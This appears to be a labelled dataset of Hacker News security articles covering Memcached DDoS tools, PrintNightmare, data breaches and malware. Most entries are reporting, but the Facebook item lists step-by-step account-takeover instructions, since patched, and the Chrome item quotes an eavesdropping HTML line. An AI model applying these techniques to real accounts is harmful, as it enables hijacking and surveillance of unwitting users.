Memcached DDoS Exploit Code and List of 17,000 Vulnerable Servers Released | https://thehackernews.com/2018/03/memcached-ddos-exploit-code.html | Two separate proofs-of-concept (PoC) exploit code for Memcached amplification attack have been released online that could allow even script-kiddies to launch massive DDoS attacks using UDP reflections easily.
The first DDoS tool is written in C programming language and works with a pre-compiled list of vulnerable Memcached servers.
Bonus—its description already includes a list of nearly 17,000 potential vulnerable Memcached servers left exposed on the Internet.
Whereas, the second Memcached DDoS attack tool is written in Python that uses Shodan search engine API to obtain a fresh list of vulnerable Memcached servers and then sends spoofed source UDP packets to each server.
Last week we saw two record-breaking DDoS attacks—1.35 Tbps hit Github and 1.7 Tbps attack against an unnamed US-based company—which were carried out using a technique called amplification/reflection attack.
For those unaware, Memcached-based amplification/reflection attack amplifies bandwidth of the DDoS attacks by a factor of 51,000 by exploiting thousands of misconfigured Memcached servers left exposed on the Internet.
Memcached is a popular open source distributed memory caching system, which came into news earlier last week when researchers detailed how hackers could abuse it to launch amplification/reflection DDoS attack by sending a forged request to the targeted Memcached server on port 11211 using a spoofed IP address that matches the victim's IP.
A few bytes of the request sent to the vulnerable Memcached server can trigger tens of thousands of times bigger response against the targeted IP address, resulting in a powerful DDoS attack.
For a detailed explanation on how Memcached amplification attack works, you can head on to our previous article.
Since last week when Memcached has been revealed as a new amplification/reflection attack vector, some hacking groups started exploiting unsecured Memcached servers.
But now the situation will get worse with the release of PoC exploit code, allowing anyone to launch massive DDoS attacks, and will not come under control until the last vulnerable Memcached server is patched, or firewalled on port 11211, or completely taken offline.
Moreover, cybercriminals groups have already started weaponizing this new DDoS technique to threaten big websites for extorting money.
Following last week's DDoS attack on GitHub, Akamai reported its customers received extortion messages delivered alongside the typically "junk-filled" attack payloads, asking them for 50 XMR (Monero coins), valued at over $15,000.
Reflection/amplification attacks are not new. Attackers have previously used this DDoS attack technique to exploit flaws in DNS, NTP, SNMP, SSDP, Chargen and other protocols in order to maximize the scale of their cyber attacks.
To mitigate the attack and prevent Memcached servers from being abused as reflectors, the best option is to bind Memcached to a local interface only or entirely disable UDP support if not in use.
| Cyber_Attack |
Hackers Exploit VPN to Deploy SUPERNOVA malware on SolarWinds Orion | https://thehackernews.com/2021/04/hackers-exploit-vpn-flaw-to-deploy.html | The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has disclosed details of a new advanced persistent threat (APT) that's leveraging the Supernova backdoor to compromise SolarWinds Orion installations after gaining access to the network through a connection to a Pulse Secure VPN device.
"The threat actor connected to the entity's network via a Pulse Secure virtual private network (VPN) appliance, moved laterally to its SolarWinds Orion server, installed malware referred to by security researchers as SUPERNOVA (a .NET web shell), and collected credentials," the agency said on Thursday.
CISA said it identified the threat actor during an incident response engagement at an unnamed organization and found that the attacker had access to the enterprise's network for nearly a year through the use of the VPN credentials between March 2020 and February 2021.
Interestingly, the adversary is said to have used valid accounts that had multi-factor authentication (MFA) enabled, rather than an exploit for a vulnerability, to connect to the VPN, thus allowing them to masquerade as legitimate teleworking employees of the affected entity.
In December 2020, Microsoft disclosed that a second espionage group may have been abusing the IT infrastructure provider's Orion software to drop a persistent backdoor called Supernova on target systems. The intrusions have since been attributed to a China-linked threat actor called Spiral.
Unlike Sunburst and other pieces of malware that have been connected to the SolarWinds compromise, Supernova is a .NET web shell implemented by modifying an "app_web_logoimagehandler.ashx.b6031896.dll" module of the SolarWinds Orion application. The modifications were made possible by leveraging an authentication bypass vulnerability in the Orion API tracked as CVE-2020-10148, in turn permitting a remote attacker to execute unauthenticated API commands.
An investigation into the incident is ongoing. In the meantime, CISA is recommending organizations to implement MFA for privileged accounts, enable firewalls to filter unsolicited connection requests, enforce strong password policies, and secure Remote Desktop Protocol (RDP) and other remote access solutions.
| Cyber_Attack |
Buffer Overflow vulnerability in VLC media player | https://thehackernews.com/2013/02/buffer-overflow-vulnerability-in-vlc.html | VideoLAN recently published a security advisory warning of a buffer overflow vulnerability in versions 2.0.5 and earlier of VLC Media Player, which might be exploited to execute arbitrary code. This vulnerability was reported by Debasish Mandal.
The vulnerability is caused due to an error in the "DemuxPacket()" function (modules/demux/asf/asf.c) when processing ASF files and can be exploited to cause a buffer overflow via a specially crafted ASF file. To exploit the vulnerability, a user must explicitly open a specially crafted ASF movie.
Successful exploitation may allow execution of arbitrary code, but requires tricking a user into opening a malicious file.
VideoLAN advises users to refrain from opening files from untrusted locations and to disable the VLC browser plug-ins until the issue is patched. A patch will be included in VLC 2.0.6, the next version of the media player, which is only available for testing purposes at the moment.
| Vulnerability |
Researchers Leak PoC Exploit for a Critical Windows RCE Vulnerability | https://thehackernews.com/2021/06/researchers-leak-poc-exploit-for.html | A proof-of-concept (PoC) exploit related to a remote code execution vulnerability affecting Windows Print Spooler and patched by Microsoft earlier this month was briefly published online before being taken down.
Identified as CVE-2021-1675, the security issue could grant remote attackers full control of vulnerable systems. Print Spooler manages the printing process in Windows, including loading the appropriate printer drivers and scheduling the print job for printing, among others.
Print Spooler flaws are concerning, not least because of the wide attack surface, but also owing to the fact that it runs at the highest privilege level and is capable of dynamically loading third-party binaries.
The Windows maker addressed the vulnerability as part of its Patch Tuesday update on June 8, 2021. But almost two weeks later, Microsoft revised the flaw's impact from an elevation of privilege to remote code execution (RCE) as well as upgraded the severity level from Important to Critical.
"Either the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or remotely (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., tricking a legitimate user into opening a malicious document)," Microsoft said in its advisory.
Things took a turn when Chinese security firm QiAnXin earlier this week disclosed it was able to find the "right approaches" to leverage the flaw, thereby demonstrating a successful exploitation to achieve RCE.
Although the researchers refrained from sharing additional technical specifics, Hong Kong-based cybersecurity company Sangfor published what's an independent deep-dive of the same vulnerability to GitHub, along with a fully working PoC code, where it remained publicly accessible before it was taken offline a few hours later.
Sangfor codenamed the vulnerability "PrintNightmare."
"We deleted the PoC of PrintNightmare. To mitigate this vulnerability, please update Windows to the latest version, or disable the Spooler service," tweeted Sangfor's Principal Security Researcher Zhiniang Peng. The findings are expected to be presented at the Black Hat USA conference next month.
Windows Print Spooler has long been a source of security vulnerabilities, with Microsoft fixing at least three issues — CVE-2020-1048, CVE-2020-1300, and CVE-2020-1337 — in the past year alone. Notably, a flaw in the service was also abused to gain remote access and propagate the Stuxnet worm in 2010 targeting Iranian nuclear installations.
Update — There are now indications that the fix released by Microsoft for the critical remote code execution vulnerability in the Windows Print spooler service in June does not completely remediate the root cause of the bug, according to the CERT Coordination Center, raising the possibility that it's a zero-day flaw in need of a patch.
"While Microsoft has released an update for CVE-2021-1675, it is important to realize that this update does not address the public exploits that also identify as CVE-2021-1675," CERT/CC's Will Dormann said in a vulnerability note published Wednesday.
It's worth noting that the successful exploitation of CVE-2021-1675 could open the door to complete system takeover by remote adversaries. We have reached out to Microsoft for comment, and we will update the story when we hear back.
In light of the latest disclosure, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) is recommending that administrators "disable the Windows Print spooler service in Domain Controllers and systems that do not print."
| Vulnerability |
Personal Data of 50 Million Turkish Citizens Leaked Online | https://thehackernews.com/2016/04/personal-data-leaked.html | Personal details of nearly 50 Million Turkish citizens, including the country's President Recep Tayyip Erdogan, have been compromised and posted online in a massive security breach.
A database, which contains 49,611,709 records, appeared on the website of an Icelandic group on Monday, offering download links to anyone interested.
If confirmed, the data breach would be one of the biggest public breaches of its kind, effectively putting two-thirds of the Nation's population at risk of identity theft and fraud.
However, The Associated Press (AP) reported on Monday that it was able to partially verify the authenticity of 8 out of 10 non-public Turkish ID numbers against the names in the data leak.
50 Million Turkish Citizens' Personal Data leaked Online
The leaked database (about 6.6 GB file) contains the following information:
First and last names
National identifier numbers (TC Kimlik No)
Gender
City of birth
Date of birth
Full address
ID registration city and district
User's mother and Father's first names
To prove the authenticity of the data, the group of hackers published the personal details of Turkish President Recep Tayyip Erdogan, along with his predecessor Abdullah Gul, and Prime Minister Ahmet Davutoglu.
The attack seems to be politically motivated, as the hackers wrote the following message on the database's front page, featuring Erdogan's profile:
"Who would have imagined that backwards ideologies, cronyism and rising religious extremism in Turkey would lead to a crumbling and vulnerable technical infrastructure?"
Lessons Posted by Hackers
Besides the leaked database, the hackers also provided some lessons to learn from this leak. Under the heading Lessons for Turkey, the hackers wrote:
'Bit shifting isn't encryption,' referring to the fact that the data was improperly protected.
'Index your database. We had to fix your sloppy DB work.'
'Putting a hardcoded password on the UI hardly does anything for security,' though the hackers didn't specify in what UI.
'Do something about Erdogan! He is destroying your country beyond recognition.'
Under the heading Lessons for the United States, the hackers addressed US citizens, asking them not to elect Republican front-runner Donald Trump since he 'sounds like he knows even less about running a country than Erdogan does.'
Links to Download the Database
The database is available online on a Finland-based server. Though the source of the leaked data is currently unknown, it is likely from a Turkish public administration office that deals with users' personal information.
If the authenticity of all 50 Million records gets verified, the breach will be the biggest leaks after the one that occurred in U.S. government's Office of Personnel Management (OPM) in April 2015 that…
...compromised the personal information of over 22 Million U.S. federal employees, contractors, retirees and others, and exposed Millions of sensitive and classified documents.
| Data_Breaches |
Desktop Viruses Coming to Your TV and Connected Home Appliances | https://thehackernews.com/2014/04/Viruses-Malware-hacking-Internet-of-things-TV.html | Smart Devices are growing at an exponential rate and so are the threats to them.
After your Computers, Servers, Routers, Mobiles and Tablets, now hackers are targeting your Smart TVs, warns Eugene Kaspersky the co-founder and chief executive of Kaspersky Lab.
As the increase in the manufactures of Smart TVs by different companies, it could be estimated that by 2016, over 100 million TVs are expected to be connected to the Internet and in the time it may rise as a profitable fruit for the malware authors and cyber criminals to exploit these devices.
The 48 year-old Eugene Kaspersky, one of the world's top technology security experts, has thrown light on the future of Computer Security and warned that Internet of Things (IoT) such as TVs, Refrigerators, Microwave or dishwashers will necessarily bring undesirable cyber threats to your home environment, because any device connected to the Internet is vulnerable and can be infected.
"The threats will diversify to mobile phones and to the home environment, such as through televisions, which are now connected to the Internet," he said in an interview with the Telegraph.
The Internet of Things is said to be the next evolutionary step in our connected world that has been already become a major target for cyber criminals.
We have reported before that how 100,000 Refrigerators and other smart household appliances were compromised by hackers to send out 750,000 malicious spam emails; A Linux worm 'Linux.Darlloz' is hijacking Home Routers, Set-top boxes, Security Cameras, printers to mine Crypto Currencies like Bitcoin.
So, the malicious software that already caused damages to your desktops, laptops and targeted your mobile devices till now, is ready to cause harm to your Smart TVs and other Internet connected smart devices.
Kaspersky said his company's global research and development headquarters in Moscow is receiving around 315,000 suspicious activity reports on daily basis, that has doubled over the past year. The threats might crawl to the new sectors other than mobile phones and computer systems.
"There are millions of attacks a year on Microsoft Windows, thousands on mobile phones, mostly on Android, and dozens on Apple's iOS. But more and more engineers are developing software for Android," he said.
But according to him "technically it is possible to infect millions of devices" because all devices are vulnerable and it is very much possible to see cyber criminals developing viruses for iOS devices.
The fact that I really like what he says, "What's the difference been a TV and a computer? A bigger screen and a remote control. It has Android inside and memory chips and Internet connections. That's all." Well said!
He also warned users that as the Internet of Things (IoTs) increases, users need to have top security packages installed on their devices.
"It's just a question of time. We already have a product for mobile and we have a prototype for TV so we are ready to address this issue when new malware for television is released by criminals."
In the last few years, this emerging domain for the Internet of Things has been attracting the significant interest, and will continue for the years to come. It would be a $20 Trillion Market over the next several years, but Security and privacy are the key issues for such applications, and still face some enormous challenges.
| Malware |
Facebook hacked in Zero-Day Attack | https://thehackernews.com/2013/02/facebook-hacked-in-zero-day-attack.html | Facebook operator of the largest social network with more than 1 billion members, said on Friday it had been the target of an unidentified hacker group, but that no user information was compromised during the attack.
The attack occurred when a handful of the company's employees visited a developer's compromised website, which led to malware being installed on their laptops.
'Last month, Facebook Security discovered that our systems had been targeted in a sophisticated attack,' read the statement, despite the laptops being 'fully-patched and running up-to-date anti-virus software.'
Reports say Facebook knew about the attacks, which likely exploited a zero-day Java software flaw, well before the announcement.
"We are working continuously and closely with our own internal engineering teams, with security teams at other companies, and with law enforcement authorities to learn everything we can about the attack, and how to prevent similar incidents in the future," Facebook said on its website.
Facebook was not alone in this attack, Twitter social network, said earlier this month that it had been hacked, and that approximately 2,50,000 user accounts were potentially compromised, with attackers gaining access to information including user names and email addresses.
| Malware |
Backdoored PhpMyAdmin distributed at SourceForge site | https://thehackernews.com/2012/09/backdoored-phpmyadmin-distributed-at.html | A security issue has been reported in phpMyAdmin, which can be exploited by malicious people to compromise a vulnerable system. The security issue is caused due to the distribution of a compromised phpMyAdmin source code package containing a backdoor, which can be exploited to e.g. execute arbitrary PHP code.
One of the SourceForge.net mirrors, namely cdnetworks-kr-1, was being used to distribute a modified archive of phpMyAdmin, which includes a backdoor. This backdoor is located in file server_sync.php and allows an attacker to remotely execute PHP code. Another file, js/cross_framing_protection.js, has also been modified.
SourceForge.Net is the world's largest open source software development website. A very large impact on the domestic users with this incident. The vulnerability has been cataloged as being a critical one.
A screenshot as shown of a system containing a malicious backdoor that was snuck into the open-source phpMyAdmin package.
On official website in issue "PMASA-2012-5" developers said "We currently know only about phpMyAdmin-3.5.2.2-all-languages.zip being affected,".
It's not the first time a widely used open-source project has been hit by a breach affecting the security of its many downstream users. In June of last year, WordPress required all account holders on WordPress.org to change their passwords following the discovery that hackers contaminated it with malicious software.
| Malware |
Hacking Facebook Account with just a text message | https://thehackernews.com/2013/06/Hacking-Facebook-account-hack-tool.html | Can you ever imagine that a single text message is enough to hack any Facebook account without user interaction or without using any other malicious stuff like Trojans, phishing, keylogger etc. ?
Today we are going to explain you that how a UK based Security Researcher, "fin1te" is able to hack any Facebook account within a minute by doing one SMS.
Because 90% of us are Facebook user too, so we know that there is an option of linking your mobile number with your account, which allows you to receive Facebook account updates via SMS directly to your mobile and also you can login into your account using that linked number rather than your email address or username.
According to hacker, the loophole was in phone number linking process, or in technical terms, at file /ajax/settings/mobile/confirm_phone.php
This particular webpage works in background when user submit his phone number and verification code, sent by Facebook to mobile. That submission form having two main parameters, one for verification code, and second is profile_id, which is the account to link the number to.
As attacker, follow these steps to execute hack:
Change value of profile_id to the Victim's profile_id value by tampering the parameters.
Send the letter F to 32665, which is Facebook's SMS shortcode in the UK. You will receive an 8 character verification code back.
Enter that code in the box or as confirmation_code parameter value and Submit the form.
Facebook will accept that confirmation code and attacker's mobile number will be linked to victim's Facebook profile.
In next step hacker just need to go to Forgot password option and initiate the password reset request against of victim's account.
Attacker now can get password recovery code to his own mobile number which is linked to victim's account using above steps. Enter the code and Reset the password!
Facebook no longer accepting the profile_id parameter from the user end after receiving the bug report from the hacker.
In return, Facebook paying $20,000 to fin1te as Bug Bounty.
| Vulnerability |
These Top 7 Brutal Cyber Attacks Prove 'No One is Immune to Hacking' — Part I | https://thehackernews.com/2015/09/top-cyber-attacks-1.html | If you believe that your organization is not at real risk of cyber attack, then you are absolutely wrong.
Incidents of massive data breaches, advanced cyber attacks coming from China, groups like Syrian Electronic Army, Hacking Point of Sale machines at retailers such as Target have splashed across the news in the last one year.
Whether a Government Agency or Private Company, Small or a Large Tech Company....
...It's no secret that No one is Immune to Cyber Attacks.
This article is the first in a two-part series from The Hacker News, listing first four out of Top 7 Brutal Cyber Attacks.
And here we go...
#1 "Hacking Team" Data Breach
Hacking Team, the controversial spyware company, recently been hacked by some unidentified hackers that exposed over 400 gigabytes of its internal sensitive data on the Internet.
Milan (Italy) based IT firm 'Hacking Team' sells intrusion and surveillance software solutions to Governments and Law Enforcement agencies worldwide.
Hacking Team is infamous for its commercial surveillance tool named as Remote Control System (RCS), which is capable of spying activities and remotely accessing target system's microphone and camera.
However, sometimes even Hackers get Hacked! So same happened with Hacking Team when hackers not only defaced Hacking Team's own Twitter account but also leaked:
Executive Emails
Source codes for Hacking and Spyware Tools
Zero-day exploits, including for Flash, Internet Explorer
Government client list with date of purchase and amount paid
…Marking the attack as one of the biggest cyber attacks on any Company.
One of the aspects of the data breach showed the lack of protection implementations within the organization and using weak passwords.
#2 Ashley Madison Data Breach
TIP: No website can guarantee privacy of your identity, Credit card details, personal photos or any other information. [Read more]
Two months ago, Toronto-based Ashley Madison website, popular as an online Married Dating portal for extramarital affairs with the tagline "Life is Short. Have an Affair," was hacked by 'The Impact Team'.
Hackers allegedly gained access to millions of its customers information database and posted 10GB of personal data for its tens of Millions of customers, including their names and email addresses.
Frequently followed by another leak, where hackers released another 20GB of company's internal data, including personal e-mails from the CEO of Ashley Madison parent company Avid Life, Noel Biderman, along with the source code for its website and mobile apps.
The breach came just two months after an attack on another scandalous site, Adult Friend Finder where again millions of people's very personal data were left exposed on the Internet.
The Ashley Madison and Adult Friend Finder hacking cases raise serious questions about what these dating websites are doing to ensure the security of their users' personal information.
#3 The Sony Pictures Hack
Remember last year when you were able to download and watch unreleased movies of Sony Pictures Entertainment?
Annie, Mr. Turner, Still Alice, To Write Love On Her Arms, and Brad Pitt's "Fury"...
...were leaked online on torrent websites, following a massive cyber attack on Sony Pictures last year by the Guardians of Peace (GOP) hacking group.
The hack wasn't limited to unreleased movies — the unknown hackers leaked about 200 gigabytes of confidential data belonging to Sony Pictures from movie scripts to sensitive employees data, celebrity's' phone numbers and their travel aliases, making it the most severe hack in the History.
The massive cyber attack on the company was in response to the release of "The Interview" — a controversial North Korean-baiting film, where hackers threatened 9/11 Type attack at Theaters showing this movie.
As a result, Sony had to shut down its services for weeks. However, it struggled to solve the issue by pulling "The Interview" from theaters and eventually putting it up on Netflix.
But, things have not changed much for Sony. This was the second time Sony was targeted, and the intensity of the attack was such that even after taking the best measures, a subsequent amount of the company's data was leaked to WikiLeaks.
#4 'Fappening' and 'Snappening'
When a surge of Nude Photos of Celebrities were leaked and went viral in August of 2014, the Internet had a meltdown.
Unknown Hacker was able to break into third-party applications connected to services like Facebook, Twitter, Instagram and Apple's iCloud that led to a major incident known as "The Fappening".
The Fappening mainly attacked female celebrities and leaked very private photographs of them, including Jennifer Lawrence, Kim Kardashian, Kirsten Dunst, Avril Lavigne and many others.
Within a month of "The Fappening," another similar incident called "The Snappening" happened that leaked more than 100,000 nude videos and images of the Snapchat users.
In The Fappening, the Naked Pictures were allegedly retrieved due to a "brute force" security flaw in Apple's iCloud file storage service. However, Apple denied it.
In case of The Snappening, Snapchat's servers were not breached. Instead, the nude pictures of users were compromised due to third-party apps used to send and receive Snaps.
However, both the incidents marked as the biggest hacks of one of its kind.
Further Read: Part II — Top 7 Brutal Cyber Attacks Proves that No One is Immune to Hacking.
| Cyber_Attack |
TalkTalk Hack: Police Arrest Second Teenager in London | https://thehackernews.com/2015/10/talktalk-hack.html | British Police have arrested a second teenage boy in relation to the major hack on the servers of UK-based telco 'TalkTalk' last week.
On Monday, a 15-year-old boy (first arrest) from County Antrim, Northern Ireland, was arrested in connection with the TalkTalk Data Breach.
On Thursday, The Metropolitan Police Cyber Crime Unit (MPCCU) arrested this second unnamed 16-year-old boy from Feltham in west London on suspicion of Computer Misuse Act offences.
Latest TalkTalk Data breach put the Bank details and Personally Identifiable Information (PII) of millions of customers at risk, including:
Nearly 21,000 Bank Accounts
Almost 28,000 obscured Credit and Debit card details
Less than 15,000 customer dates of birth
Names, Email Addresses, and Phone Numbers of 1.2 Million Customers
TalkTalk has confessed that "Not all of the data was encrypted"... yeah, its' too bad.
However, "Investigations so far show that the information that may have been accessed is not enough on its own to take money from your bank account," the company claimed.
"Starting today, we are writing to all customers who have been affected by this to let them know what information has been accessed.", TalkTalk said in a statement.
As advised earlier, the affected TalkTalk customers are highly recommended to change their passwords as soon as possible and keep an eye on their bank accounts over the next few months.
| Data_Breaches |
Thousands of High-Risk Vulnerabilities Found in NOAA Satellite System | https://thehackernews.com/2014/09/thousands-of-high-risk-vulnerabilities_9.html | The informational systems that the National Oceanic and Atmospheric Administration (NOAA) run are loaded with several critical vulnerabilities that could leave it vulnerable to cyber attacks.
According to the findings of an audit recently conducted by the Department of Commerce's Office of the Inspector General (OIG), the Joint Polar Satellite System's (JPSS) ground system is vulnerable to a large number of high-risk vulnerabilities.
The JPSS ground system is used to collect data from several polar-orbiting weather satellites, and distribute the information to users worldwide. This system also provides command, control and data processing for current and future weather satellites.
But, the vulnerabilities identified in the system could impair technology controlling the United States' next generation of polar-orbiting environmental satellites.
"Our analysis of the JPSS program's assessments of system vulnerabilities found that, since FY 2012, the number of high-risk vulnerabilities in the system had increased by two-thirds7 despite recent efforts the program has taken to remediate these vulnerabilities," according to a memorandum from Allen Crawley, assistant inspector general for systems acquisition and IT security, to Kathryn Sullivan, under secretary of commerce for oceans and atmosphere and NOAA administrator.
The system is considered to be a "High Impact" IT system for which the loss of confidentiality, integrity, or availability could be expected to have a severe or catastrophic effect on organizational operations, organizational assets or individuals.
The audit, which analyzed NOAA's IT security program, showed an unbelievable picture. In the recent audit, the report showed that the number of High-Risk vulnerabilities rose from 14,486 in the first quarter of the fiscal year (FY) 2012 to 23,868 in the second quarter of FY 2014.
"If exploited, these [high-risk] vulnerabilities may make it possible for attackers to significantly disrupt the JPSS mission of providing critical data used in weather forecasting and climate monitoring," Crawley wrote in the memorandum.
Some of the vulnerabilities found are difficult to patch, but many of the identified high-risk vulnerabilities can be fixed easily by just making only minor modification to the current system. As more than 9,100 instances of software versions include the following issues:
Out of date software or lacking security patches
Insecurely configured software
Unnecessary user privileges
Moreover, adjustments can be made to more than 3,600 instances of password and auditing settings that are incorrectly configured and do not meet JPSS policy standards, as well as to unnecessary software applications that need to be removed or disabled.
The system even included the "Heartbleed" vulnerability, which has since been remediated. Heartbleed is one of the biggest Internet vulnerabilities in recent history that left large number of cryptographic keys and private data such as usernames, passwords, and credit card numbers, from the most important sites and services on the Internet open for hackers.
"In response to our draft memorandum, NOAA concurred with our recommendations," Crawley wrote. "NOAA indicated that it had already implemented [a] recommendation [to use system update processes for quickly applying critical patches], explaining that it remediated the Heartbleed vulnerability during the third quarter of FY 2014."
The issue is critical because numerous of vulnerabilities within the JPSS software are publicly available from years and , furthermore, tools are also available on the internet that can be used to exploit many of the vulnerabilities.
| Vulnerability |
Severe Bug Discovered in Signal Messaging App for Windows and Linux | https://thehackernews.com/2018/05/signal-messenger-vulnerability.html | Security researchers have discovered a severe vulnerability in the popular end-to-end encrypted Signal messaging app for Windows and Linux desktops which could allow remote attackers to execute malicious code on recipients system just by sending a message—without requiring any user interaction.
Discovered by Alfredo Ortega, a software security consultant from Argentina, the vulnerability was announced on Twitter just a few hours ago with a proof-of-concept video, demonstrating how a javascript payload sent over Signal for desktop app successfully got executed on the recipient's system.
Although technical details of the vulnerability have not been revealed as of now, the issue appears to be a remote code execution vulnerability in Signal or at least something very close to persistent cross-site scripting (XSS) which eventually could allow attackers to inject malicious code onto targeted Windows and Linux systems.
"For the time being, we can only confirm the execution of javascript code. However we are tracking a heap corruption issue, and it's very likely than the javascript execution could lead to native code execution with additional research." Ortega told The Hacker News.
Ortega also confirms us that the exploitation of this issue requires chaining a couple of vulnerabilities found by two other security researchers from Argentina, Ivan and Juliano.
"I can confirm that this bug did not exist before and was last introduced because the devs forgot why there was a regex there to begin with. I would like to recommend a comment to this comment if it is not repeated again (TBD)," Ivan said.
At this moment, it is not clear if the primary vulnerability or other chained bugs reside only in the source code of Signal or also in the popular Electron web application framework, the technology on which Signal desktop applications are based.
If the flaw resides in the Electron framework, it might also impact other widely-used desktop applications as well, including Skype, Wordpress, and Slack, which also use the same framework.
Moreover, the infosec community is also worried that if this flaw allows remote attackers to steal their secret encryption keys, it would be the worst nightmare for Signal users.
The good news is that the Open Whisper Systems has already addressed the issue and immediately released new versions of Signal app within a few hours after receiving the responsible vulnerability disclosure by the researcher.
The primary vulnerability that triggers the code execution has been patched in Signal stable release version 1.10.1 and pre-release version 1.11.0-beta.3. So, users are advised to update their Signal for desktop applications as soon as possible.
"At this time we are not sure they all [the vulnerabilities chained together] have been fixed" Ortega told The Hacker News.
The latest release also patched a recently disclosed vulnerability in Signal for desktop apps which was exposing disappearing messages in a user-readable database of macOS's Notification Center, even if they are deleted from the app.
We will update this article as soon as we get more details of the vulnerability from the researcher. Till then, stay tuned to Facebook and Twitter accounts.
| Cyber_Attack |
Google Chrome vulnerability allows Websites to Eavesdrop on You | https://thehackernews.com/2014/04/google-chrome-vulnerability-allows.html | Just imagine, you are sitting in front of your laptop and your laptop is listening to your nearby conversations. What if the recorded audio from the system's microphone is being instantly uploaded to a malicious website?
Google has created a speech-recognition Application Programming Interface (API) that allows websites to interact with Google Chrome and the computer's microphone allows you to speak instead of typing into any text box, to make hands-free web searches, quick conversions, and audio translator also work with them.
In January, a flaw was discovered in Google Chrome that enabled malicious websites with speech recognition software to eavesdrop on users' conversations from background without their knowledge using an outdated Google speech API.
CHROME IS LISTENING YOU
A new similar vulnerability in Google Chrome has been discovered by Israeli security researcher, Guy Aharonovsky, claimed that the Chrome's speech-recognition API has a vulnerability that allows attackers to turn victim's machine into a listening port without asking for any permission, even if your microphone is completely disabled.
"Even blocking any access to the microphone under chrome://settings/content will not remedy this flaw." he said in a blog post.
Reported vulnerability exploits the "-x-webkit-speech" feature of Chrome's speech-recognition API and allows a malicious web application to eavesdrop in the background without any indication to the user that their microphone is enabled.
He has also published a Proof-of-Concept webpage and a video demonstration, designed to work on Chrome for Mac operating system, but the exploit only works for Chrome for any operating system.
In demonstration, he has used HTML5 full screen feature to the indication box.
"In Chrome all one need in order to access the user's speech is to use this line of HTML5 code: <input -x-webkit-speech="" /> that's all; there will be no fancy confirmation screens. When the user clicks on that little grey microphone he will be recorded. The user will see the 'indication box' telling him to "Speak now" but that can be pushed out of the screen and / or obfuscated."
He has reported the flaw to Google via Chromium bug tracker. They confirmed the existence of the vulnerability, but assigned it 'low' severity level, that means Google will not offer any immediate fix for this flaw.
| Vulnerability |
Nasty Android Malware that Infected Millions Returns to Google Play Store | https://thehackernews.com/2017/01/hummingbad-android-malware.html | HummingBad – an Android-based malware that infected over 10 million Android devices around the world last year and made its gang an estimated US$300,000 per month at its peak – has made a comeback.
Security researchers have discovered a new variant of the HummingBad malware hiding in more than 20 Android apps on Google Play Store.
The infected apps were already downloaded by over 12 Million unsuspecting users before the Google Security team removed them from the Play Store.
Dubbed HummingWhale by researchers at security firm Check Point, the new malware utilizes new, cutting-edge techniques that allow the nasty software to conduct Ad fraud better than ever before and generate revenue for its developers.
The Check Point researchers said the HummingWhale-infected apps had been published under the name of fake Chinese developers on the Play Store with common name structure, com.[name].camera, but with suspicious startup behaviors.
"It registered several events on boot, such as TIME_TICK, SCREEN_OFF and INSTALL_REFERRER which [were] dubious in that context," Check Point researchers said in a blog post published Monday.
HummingWhale Runs Malicious Apps in a Virtual Machine
The HummingWhale malware is tricky than HummingBad, as it uses a disguised Android application package (APK) file that acts as a dropper which downloads and runs further apps on the victim's smartphone.
If the victim notices and closes its process, the APK file then drops itself into a virtual machine in an effort to make it harder to detect.
The dropper makes use of an Android plugin created by the popular Chinese security vendor Qihoo 360 to upload malicious apps to the virtual machine, allowing HummingWhale to further install other apps without having to elevate permissions, and disguises its malicious activity to get onto Google Play.
"This .apk operates as a dropper, used to download and execute additional apps, similar to the tactics employed by previous versions of HummingBad," researchers said. "However, this dropper went much further. It uses an Android plugin called DroidPlugin, originally developed by Qihoo 360, to upload fraudulent apps on a virtual machine."
HummingWhale Runs Without having to Root the Android Device
Thanks to the virtual machine (VM), the HummingWhale malware no longer needs to root Android devices unlike HummingBad and can install any number of malicious or fraudulent apps on the victim's devices without overloading their smartphones.
Once the victim gets infected, the command and control (C&C) server send fake ads and malicious apps to the user, which runs in a VM, generating a fake referrer ID used to spoof unique users for ad fraud purposes and generate revenue.
Alike the original HummingBad, the purpose of HummingWhale is to make lots of money through ad fraud and fake app installations.
Besides all these malicious capabilities, the HummingWhale malware also tries to raise its reputation on Google Play Store using fraudulent ratings and comments, the tactic similar to the one utilized by the Gooligan malware.
| Malware |
Slack Resets Passwords For Users Who Hadn't Changed It Since 2015 Breach | https://thehackernews.com/2019/07/slack-password-data-breach.html | If you use Slack, a popular cloud-based team collaboration server, and recently received an email from the company about a security incident, don't panic and read this article before taking any action.
Slack has been sending a "password reset" notification email to all those users who had not yet changed passwords for their Slack accounts since 2015 when the company suffered a massive data breach.
For those unaware, in 2015, hackers unauthorisedly gained access to one of the company's databases that stored user profile information, including their usernames, email addresses, and hashed passwords.
At that time, attackers also secretly inserted code, probably on the login page, which allowed them to capture plaintext passwords entered by some Slack users during that time.
However, immediately following the security incident, the company automatically reset passwords for those small number of Slack users whose plaintext passwords were exposed, but asked other affected users to change their passwords manually.
Keep calm and change your password 😊
Slack is resetting the passwords for all those users (approximately 1% of total) who hadn't changed their passwords since 2015 when the company experienced a #databreach leaking users' credentialshttps://t.co/k6jSBgloAX
Check this thread: https://t.co/Fo7QbI9pOv
— The Hacker News (@TheHackersNews) July 18, 2019
Now in its latest statement released today, the company said they learned about a new list of username and password combinations that match with the login credentials of its users who did not change their password after the 2015 data breach.
"We were recently contacted through our bug bounty program with information about potentially compromised Slack credentials," Slack states.
"We immediately confirmed that a portion of the email addresses and password combinations were valid, reset those passwords, and explained our actions to the affected users."
The latest security incident only affects users, who:
created an account before March 2015,
have not changed their password since the incident, and
accounts that do not require logging in via a single-sign-on (SSO) provider.
The company is not exactly aware of the source of this new leaked plaintext credentials, but suggests it could be the "result of malware attack or password reuse between services."
It is also possible that someone might have successfully cracked hashed passwords that were leaked in the 2015 data breach, even when it was protected using the bcrypt algorithm with a randomly generated salt per-password.
Late last month, Slack also sent a separate notification to all the affected users informing them about the potential compromise of their credentials without providing any details of the incident, but it seems many users ignored the warning and did not change their passwords voluntarily.
Therefore, now Slack has automatically reset passwords on affected accounts, that are about 1% of the total registered users, that haven't been updated since 2015 as a precautionary measure, asking them to set a new password using this guide.
"We have no reason to believe that any of these accounts were compromised, but we believe that this precaution is worth any inconvenience the reset may cause," the company said.
